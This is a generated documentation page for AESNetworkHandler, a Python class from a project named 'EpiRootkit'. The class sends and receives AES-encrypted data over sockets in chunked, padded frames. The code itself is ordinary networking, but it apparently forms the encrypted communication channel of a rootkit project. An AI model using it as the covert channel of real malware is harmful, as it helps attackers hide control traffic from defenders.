EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
AESNetworkHandler Class Reference

Public Member Functions

 __init__ (self, CryptoHandler crypto, int buffer_size=1024)
 
bool send (self, socket.socket sock, str|bytes data)
 
str|bool receive (self, socket.socket sock)
 

Protected Member Functions

bytes|None _recv_all (self, sock, int n)
 

Protected Attributes

 _crypto
 
 _buffer_size
 
 _header_size
 
 _chunk_overhead
 
 _max_chunk_body_size
 

Detailed Description

@brief Initializes the AESNetworkHandler.
@param crypto An instance of CryptoHandler used for encryption and decryption.
@param buffer_size The size of the buffer for each chunk (default: 1024 bytes).

Definition at line 17 of file AESNetworkHandler.py.

Constructor & Destructor Documentation

◆ __init__()

__init__ (   self,
CryptoHandler  crypto,
int  buffer_size = 1024 
)

Definition at line 23 of file AESNetworkHandler.py.

23 def __init__(self, crypto: CryptoHandler, buffer_size: int=1024):
24 self._crypto = crypto
25 self._buffer_size = buffer_size
26 self._header_size = 10
27 self._chunk_overhead = self._header_size + 1
28 self._max_chunk_body_size = buffer_size - self._chunk_overhead
29

Member Function Documentation

◆ _recv_all()

bytes | None _recv_all (   self,
  sock,
int  n 
)
protected

Definition at line 70 of file AESNetworkHandler.py.

70 def _recv_all(self, sock, n: int) -> bytes | None:
71 buf = b''
72 while len(buf) < n:
73 chunk = sock.recv(n - len(buf))
74 if not chunk:
75 return None
76 buf += chunk
77 return buf
78

◆ receive()

str | bool receive (   self,
socket.socket  sock 
)

Definition at line 86 of file AESNetworkHandler.py.

86 def receive(self, sock: socket.socket) -> str | bool:
87 buffer = bytearray()
88 received_chunks = None
89 total_chunks = None
90
91 try:
92 while True:
93 sock.settimeout(10)
94 head = self._recv_all(sock, self._header_size)
95 if head is None:
96 print("[RECEIVE ERROR] Timeout or socket closed before header")
97 return False
98
99 total_chunks_read = (
100 (head[0] << 24) |
101 (head[1] << 16) |
102 (head[2] << 8) |
103 (head[3] << 0)
104 )
105 chunk_index = (
106 (head[4] << 24) |
107 (head[5] << 16) |
108 (head[6] << 8) |
109 (head[7] << 0)
110 )
111 chunk_len = (head[8] << 8) | head[9]
112
113 needed = self._header_size + chunk_len + 1
114 if needed > self._buffer_size:
115 print(f"[RECEIVE ERROR] chunk_len {chunk_len} inconsistent (need {needed} > {self._buffer_size})")
116 return False
117
118 # Read payload plus EOT
119 payload_plus_eot = self._recv_all(sock, chunk_len + 1)
120 if payload_plus_eot is None:
121 print(f"[RECEIVE ERROR] Timeout or socket closed while reading payload for chunk {chunk_index}")
122 return False
123
124 # Check EOT marker
125 if payload_plus_eot[-1] != 0x04:
126 print(f"[RECEIVE ERROR] Missing or misplaced EOT for chunk {chunk_index}")
127 return False
128
129 remainder_padding = self._buffer_size - needed
130 if remainder_padding > 0:
131 pad = self._recv_all(sock, remainder_padding)
132 if pad is None:
133 print(f"[RECEIVE ERROR] Timeout or socket closed while reading padding for chunk {chunk_index}")
134 return False
135
136 # Initialize tracking on the first chunk
137 if total_chunks is None:
138 total_chunks = total_chunks_read
139 if total_chunks <= 0:
140 print(f"[RECEIVE ERROR] invalid total_chunks = {total_chunks}")
141 return False
142 received_chunks = [False] * total_chunks
143
144 # Validate chunk_index
145 if not (0 <= chunk_index < total_chunks):
146 print(f"[RECEIVE ERROR] chunk_index {chunk_index} out of bounds (total {total_chunks})")
147 return False
148
149 if received_chunks[chunk_index]:
150 print(f"[RECEIVE ERROR] duplicate chunk {chunk_index}")
151 return False
152
153 # Extract and append the ciphertext
154 ciphertext = payload_plus_eot[:chunk_len]
155 buffer.extend(ciphertext)
156 received_chunks[chunk_index] = True
157
158 # If all chunks are received, break
159 if all(received_chunks):
160 break
161
162 return self._crypto.decrypt(bytes(buffer))
163
164 except Exception as e:
165 print(f"[RECEIVE EXCEPTION] {e}")
166 return False

◆ send()

bool send (   self,
socket.socket  sock,
str | bytes  data 
)

Definition at line 38 of file AESNetworkHandler.py.

38 def send(self, sock: socket.socket, data: str | bytes) -> bool:
39 try:
40 encrypted = self._crypto.encrypt(data)
41 total_len = len(encrypted)
42 nb_chunks = (total_len + self._max_chunk_body_size - 1) // self._max_chunk_body_size
43
44 for i in range(nb_chunks):
45 chunk_data = encrypted[i * self._max_chunk_body_size : (i + 1) * self._max_chunk_body_size]
46
47 chunk = bytearray(self._buffer_size)
48 chunk[0] = (nb_chunks >> 24) & 0xFF
49 chunk[1] = (nb_chunks >> 16) & 0xFF
50 chunk[2] = (nb_chunks >> 8) & 0xFF
51 chunk[3] = (nb_chunks >> 0) & 0xFF
52
53 chunk[4] = (i >> 24) & 0xFF
54 chunk[5] = (i >> 16) & 0xFF
55 chunk[6] = (i >> 8) & 0xFF
56 chunk[7] = (i >> 0) & 0xFF
57
58 chunk[8] = (len(chunk_data) >> 8) & 0xFF
59 chunk[9] = len(chunk_data) & 0xFF
60
61 chunk[10:10 + len(chunk_data)] = chunk_data
62 chunk[10 + len(chunk_data)] = 0x04
63
64 sock.sendall(chunk)
65 return True
66 except Exception as e:
67 print(f"[SEND ERROR] {e}")
68 return False
69

Member Data Documentation

◆ _buffer_size

_buffer_size
protected

Definition at line 25 of file AESNetworkHandler.py.

◆ _chunk_overhead

_chunk_overhead
protected

Definition at line 27 of file AESNetworkHandler.py.

◆ _crypto

_crypto
protected

Definition at line 24 of file AESNetworkHandler.py.

◆ _header_size

_header_size
protected

Definition at line 26 of file AESNetworkHandler.py.

◆ _max_chunk_body_size

_max_chunk_body_size
protected

Definition at line 28 of file AESNetworkHandler.py.


The documentation for this class was generated from the following file: